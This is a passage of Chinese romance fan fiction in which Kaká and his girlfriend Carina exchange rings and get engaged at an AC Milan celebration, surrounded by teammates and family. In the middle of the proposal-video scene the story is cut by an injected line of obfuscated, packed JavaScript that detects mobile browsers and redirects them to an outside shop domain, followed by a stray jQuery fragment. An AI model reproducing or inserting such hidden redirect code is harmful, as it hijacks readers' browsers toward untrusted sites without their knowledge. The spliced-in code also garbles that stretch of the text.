卡卡走进餐厅的时候，队友们已经三三两两地入了座。他在入口处扫了一圈，然后看到了她。卡丽娜坐在靠窗那一排，正和莫妮卡凑在一起看手机屏幕，不知道在看什么，两个人同时笑了出来。她没有注意到他站在门口——穿着一件浅蓝色的连衣裙，头发放下来垂在肩上，耳垂上戴着他第一次见她穿礼服时就记得的那对珍珠耳环。餐厅暖黄色的灯光落在她身上，整个人像加了一层柔光滤镜。他站在门口多看了两秒，直到加图索从身后推了他一把：“别堵门，进去。”
卡卡走到卡丽娜身边，就像之前去米兰大学参加派对一样，微微欠身，伸出手臂：“小姐，请。”
两人相视一笑，卡丽娜挽住他的手臂，轻快地起身，像一只小鸟般蹁跹地和他一起走到了餐桌前。
晚餐吃得非常愉快。卡卡一个人吃了三个人的量——夺冠之后胃口总是特别好，加图索隔着一张桌子对他竖起大拇指，喊了一句“巴西人今天比平时还能吃”。卡丽娜则放慢了进食速度，保持和他一样的节奏，他切羊排她就喝一口酒，他吃烩饭她也跟着舀一勺。两人一边吃饭一边聊天，即使每天都在见面，还是有说不完的话——今天球场上的那个助攻，上周在卡丽娜公寓里一起试做的那道巴西炖菜失败了三次终于成功，下次休息日想去阿尔卑斯山脚下的小镇看看。
作为本赛季最佳新人的卡卡，席间接连不断地接受了来自队友、经理和俱乐部主席的关心和鼓励，每次有人过来碰杯，他都会在碰完杯之后下意识地回头看她一眼，确认她还在那里。她每次都在。
然后，他觉得时机到了。
“丽娜，能陪我吹吹风吗？”今晚小酌了几杯的卡卡脸色有点泛红，不知道是红酒的作用，还是别的什么。
卡丽娜点点头，跟着他走到了餐厅尽头通往露台的玻璃门前。她回头看了一眼莫妮卡，莫妮卡正端着酒杯和加图索说话，似乎没有注意到她。她不知道的是，卡卡带着她穿过餐厅走向露台的那一刻，几乎全场所有人的目光都在他们身后无声地追了过去。原本嘈杂庆祝的现场声音停了一瞬——那是一种非常明显的、此地无银三百两的停顿——然后又重新喧闹起来，每个人都在假装若无其事地继续聊天，但聊天的内容已经和足球完全无关了。
“怎么回事？丽娜不是说要先换身衣服吗？”茱莉亚放下酒杯，满脸困惑。
“不知道啊！我看到是里奇带着她出去的！”维奥拉踮着脚往露台方向张望。
“里奇怎么突然离席了？他平时不是从头吃到尾吗？”内斯塔嘴里还嚼着东西。
“不会是醉了吧？才那么几杯酒，这么弱？”因扎吉端着红酒杯，挑起一边眉毛。
会场里的窃窃私语传不到露台上两个人的耳朵里。
露台上，五月的夜风轻轻吹过来，带着初夏草木萌发的气息。远处是米兰的万家灯火，近处是餐厅花园里新开的玫瑰，月光把石砖地面照得泛着柔和的银白色。卡丽娜有些担心地看着卡卡，伸手捏了捏他有些发烫的脸颊：“还好吗？没有头晕吧？”
“没有。”卡卡低头看着卡丽娜的眼睛。那双深棕色的眼眸在月光下显得格外清亮，瞳仁里映着露台栏杆外米兰的点点灯火，也映着他。每一次她望过来，他都觉得像是第一次被阳光照到。
“丽娜。”心跳又开始加快，卡卡伸手轻轻拍了拍胸口那个硬硬的小盒子所在的位置，试图平复这不安分的心跳。然后，他掏出了那个已经藏了一整晚的Tiffany丝绒盒子，单膝跪下。月光落在他肩上，他仰头看着她，棕色的眼睛里没有一丝犹豫。
“遇到你之后，我无数次地感谢上帝，能让我有幸与你相识。”
“当你凝视我，我看到自己碎裂成星尘，又在你的瞳孔里重组为新的宇宙。”他的声音微微发颤，但每一个字都像是从心底最柔软的地方直接捧出来的，还带着体温。他打开丝绒盒子，那枚六爪镶嵌的钻戒在月光下折射出一整条小小的彩虹。
“我永远不愿放开你的手。所以，丽娜，能恳请你给予一个机会，让我成为你的男朋友吗？”
卡丽娜在看到卡卡跪下的那一刻，心脏骤停了一拍——钻戒，月光，单膝跪地，他甚至还穿了阿玛尼西装。她以为他要说的是“嫁给我”。心里一阵慌张：这也太快了，她才刚和父母商量好订婚的事，他怎么能抢在她前面求婚？可是，当他说出“男朋友”这三个字的时候，她愣住了。然后，一股温热的感觉从心底涌上来，一直涌到眼眶，涌到鼻尖，涌到嘴角。
这么真挚的话语，这么郑重的仪式——月光下的露台，胸口的丝绒盒子，他单膝跪在那里仰头看她的眼神比任何一颗钻石都更亮——却是为了成为她的男朋友。
他到现在还以为自己没有转正。他到现在还在认真地、虔诚地、一丝不苟地追求着那个早就把心交出去的自己。没有把曾经的玩笑放在心上的卡丽娜，被感动得泪如雨下。
她马上把手伸过去，让卡卡帮自己戴上戒指。她的手还在微微发抖，不是紧张，是被一种铺天盖地的温柔冲垮了所有防线。然后她上前一把抱住他，把他的脑袋按在自己的怀里。
“傻瓜。”她说，声音又哭又笑，“你早就是了。”
成功确定关系，卡卡只觉得达到了人生巅峰。他站起来，想把她抱起来转圈，又想掏出手机给父母打电话，又想冲回餐厅向所有人宣布这个消息——所有念头同时涌上来，导致他只是站在原地傻笑，露出那一口能把整个米兰夜空点亮的白牙。而被卡丽娜提前联系过的几个人，已经在玻璃门后面严阵以待了。因扎吉打了个手势，所有人迅速按照预定方案分头行动。
队友们率先涌出来围住卡卡，七嘴八舌地拍他的肩膀、揉他的头发、把他的领带扯歪了又帮他正回去。卡卡笑得像只快乐小狗——如果有尾巴，此刻已经摇成了螺旋桨——被他们簇拥着，骄傲地向所有人宣布：“卡丽娜是我的正式女友啦！”他说这句话的时候声音比进球后对着看台庆祝时还响亮三分。然后莫妮卡端着一杯红酒“笨拙”地靠近，在恰到好处的角度以一个恰到好处的趔趄，把半杯红酒“不小心”洒在了卡丽娜的裙摆上，立刻发出了一声连她自己都不太相信的惊呼：“哎呀！太对不起了！快跟我去卫生间清理一下！”说着就把卡丽娜拉走了。
与此同时，因扎吉和舍甫琴科一左一右夹住卡卡，说他身上也有点脏——不知道什么时候蹭了一小块酱汁在衣服背后，头发也被队友们揉得有点乱——需要去整理一下。卡卡一脸茫然地被他们带进洗手间，几个人围上来七手八脚地给他拍了拍衣服，又用湿毛巾给他擦了把脸，内斯塔站在他身后认真地把他歪掉的领带重新打好，因扎吉往手心里倒了点发胶，把他的头发重新抓了一遍。“可以了。”因扎吉退后一步端详，难得地给出了肯定的评价。马尔蒂尼从门口探进头来，打了个手势。然后卡卡被带出洗手间，却没有原路返回餐厅，而是被一群人簇拥着左绕右绕，穿过一条铺着地毯的走廊，拐了两个弯，最终停在一扇紧闭的大门前。
“进去吧。”舍甫琴科拍了拍他的后背，力道大得差点把他拍得往前跨了半步。卡卡疑惑地推开门。
一片黑暗。然后，灯光亮了起来。
是一块巨大的幕布。幕布上开始放映一个电影剪辑。第一个画面出现在屏幕上的时候，卡卡就认出来了——是《天堂电影院》，多多和艾莲娜在放映间的窗口对视，放映机的光束从他们之间穿过，光束里有无数细小的尘埃在飞舞。那是他第一次意识到自己心动的那个傍晚。然后是《罗马假日》，奥黛丽·赫本和格里高利·派克骑摩托车穿过罗马的石板路，阳光穿过梧桐树叶洒在他们身上。那是他们一起模仿过的约会日常。然后是《当哈利遇到莎莉》，哈利在除夕夜穿过整个纽约找到莎莉，在倒计时的钟声里对她说“当你想要和一个人共度余生，你会希望余生尽快开始”。那是那个关系大进一步的晚上看的电影，是他以为“约会”的珍贵时光。然后是《美丽人生》，圭多骑着白马在集中营里对多拉说“早安，公主”——那是他在理疗室里贴着她耳边说过的那句台词。一部又一部的经典爱情电影片段闪过，每一部都是他们一起看过的，每一段台词她都曾靠在他肩膀上轻声复述。
然后画面突然一转，不再是电影。是他和她的照片。
他们在罗马许愿池前并肩坐着，她的手里举着两个甜筒冰淇淋，他的鼻尖上沾了一小块她踮起脚尖抹上去的奶油。他们在他的新家客厅里一起做巴西炖菜，厨房台面上摊着三张被揉成团的食谱，她的脸上沾了一小片面粉，他在旁边笑得直不起腰。他们去看画展，他站在一幅巨大的抽象画前面思考，被她偷拍了下来。他们和巴西的队友一起聚餐，两人隔着桌子碰杯，杯沿相撞的瞬间被迪达抓拍下来，两个人的眼睛里都只有对方。一张又一张照片，记录着两人的日常。
最后是一段视频。
画面亮起来的时候，卡丽娜穿着一身白色的连衣裙站在镜头前。裙摆在膝上几寸轻轻停住，头发柔顺地垂在肩上，耳垂上戴着那对珍珠耳环。她直视镜头，眼中有羞怯，有笃定，有他熟悉得不能再熟悉的温度。
“里卡多·伊泽克森·多斯桑托斯·莱特。”她念出他的全名，声音柔和而郑重。然后她笑了一下，那是一种把所有勇气都聚在这一刻的笑容，眼睛里有光芒，嘴角有笃定，声音里有他熟悉的温度。那张脸在荧幕上发出柔和的光，而她说——
“你知道，人生是一段很长的路。在这段路上，我摔倒过，也迷路过。但你出现了，每一次我需要的时候你都在。”她深吸一口气，“我想和你一起看每一部还没看过的电影，听每一首还没听过的歌，去每一个还没去过的地方。我想和你在一起，不是作为你的女朋友——而是作为你的未婚妻，你的伴侣，和你共度余生的那个人。”
她的眼睛亮晶晶的，像每一次她看向他时那样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759087|209568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“所以——里卡多，你愿意和我订婚吗？”
卡卡拼命点头，点头点得眼泪都飞出去了。他用手背去擦，越擦越多，最后索性不擦了，站在那里，仰头看着屏幕上那个穿着白裙的女孩，笑得像个全世界最幸福的傻瓜。视频结束，幕布缓缓升起，而视频里那个穿着白色连衣裙的女孩，此刻正穿过幕布后面的黑暗，一步一步向他走来。同样打扮——白色连衣裙，垂肩的长发，珍珠耳环在灯光下泛着温润的光。她手里拿着一个打开的丝绒盒子，里面躺着一枚铂金素圈戒指。和他今晚送出的那枚钻戒不同，这枚戒指低调、简洁、内敛，内圈刻着他们两个人的名字。是日常可以随时戴着、不怕磕碰、不怕遗忘的那一种。不是用来对全世界宣告的，是用来对彼此确认的。
“我没想到，我们都决定在今天向对方送上戒指。”她走到他面前，声音有点颤，嘴角却翘起来，“不过，我这枚是想和你订婚的。”她举起盒子，仰头看着他，眼睛里有月光，有灯火，有他从第一天就为之沦陷的一切，“你愿意吗，里奇？”
卡卡伸出手，让她把戒指套上自己的无名指。他低头看着那枚简洁的铂金素圈在自己的手指上安静地闪着光，然后抬起头，一把抱住她。他的下巴搁在她肩膀上，眼泪滴在她白色的连衣裙上，声音闷闷的，但每一个字都像是从心脏里直接蹦出来的：“我愿意。我愿意。我愿意——天呐，我太愿意了。你愿意嫁给我吗？不是在屏幕上，是现在——你愿意嫁给我吗？”
卡丽娜在他怀里笑出声来，眼泪也掉了下来，把他的西装肩膀洇出一小片深色的水渍：“我在视频里已经问过你了。”
“那不算，我要你现在问我。”
“好。里卡多，你愿意和我订婚吗？”
“我愿意。”
“那你也问我。”
“丽娜，你愿意和我订婚吗？”
“我也愿意。”
他抱着她，只觉得不可能再有比这更幸福的时刻了。然而他错了——还真的能更幸福。全场的灯光同时亮起，暖金色的光线洒满了整间大厅。所有的人都涌过来向他们恭喜。队友们拍手吹口哨，因扎吉吹得最响。同事和朋友们围在两侧，维奥拉捂着嘴哭得比当事人还厉害，茱莉亚在旁边用相机拍着照片，一边拍一边喊“这是我闺蜜”。而站在人群最前面的，是两对父母——莱特先生和西蒙妮女士，还有席尔瓦先生和夫人。卡卡愣住了。
“你们什么时候来的？”他看看自己的父母，又看看卡丽娜的父母，发现席尔瓦先生正面无表情地盯着自己搭在卡丽娜腰上的手。他本能地把手往后缩了半寸，然后被卡丽娜一把抓回来，重新按在自己腰侧。
“卡丽娜早就征求我们的同意了。”西蒙妮女士笑着解释道，走到卡丽娜身边，在她额头上轻轻吻了一下。
“你们要好好珍惜对方。”博斯科先生拍了拍儿子的肩膀，力道比舍甫琴科刚才那一下还重，但眼神里的骄傲和欣慰藏都藏不住。
“所以你们——你们所有人都知道？”卡卡环顾四周，看着队友们脸上那种“我们忍了很久了”的表情，看着父母们心照不宣的微笑，看着迪甘举着DV从角落里冒出来，镜头红灯亮着，显然已经录了不知道多久。他忽然明白了一切——刚才在餐厅里所有人的目光，莫妮卡那杯“不小心”泼翻的红酒，队友们把他架去洗手间又绕远路带到这里，那块幕布，那段视频，那枚素圈戒指。今晚不只是他的计划，也是她的。
“哈哈，我们看到你单膝下跪的时候，还以为是抢先一步求婚了呢，还好只是确定关系。”
“还好是确定关系，不然我们提前准备的东西就白费了。”
大厅的灯光全部亮起。卡卡这才看清了整个会场的布置：帷布是米兰的红黑配色，象征爱情的玫瑰与白色羽毛装点在每一张圆桌中央，餐桌上的烛台全部点着蜡烛，烛光在红黑色的帷布映衬下像一颗颗跳动的心。天花板上悬挂着成串的水晶灯，光芒穿过层层叠叠的薄纱帷幔，洒下来的时候被染成了温暖的金色。整个会场浪漫得像是从她给他做的立体书中走出来的某一页，而这一页的标题叫做——幸福。
有人拧开了礼花筒，“砰”的一声，亮闪闪的飘带从天花板上纷纷扬扬地落下，落在他们的头发上、肩膀上、交握着的手指上。彩色的碎纸片在烛光中翻飞，像一场永远不会融化的雪。
卡卡低下头，看着怀里的卡丽娜——她的头发上沾了好几根金色的飘带，睫毛上还挂着一颗没干的泪珠，鼻尖红红的，嘴角却翘得压都压不住。他也笑了，伸手把她头发上的飘带一片一片摘掉，然后低下头，额头抵着她的额头，鼻尖碰着鼻尖。
“你以后的人生，每一页都给我留一半位置。”
“你也是。”她说，“从第一页到最后一页。”
幸福将持续很久很久。不是作为某一晚的结局，而是作为每一个明天都可以继续翻开的新篇章。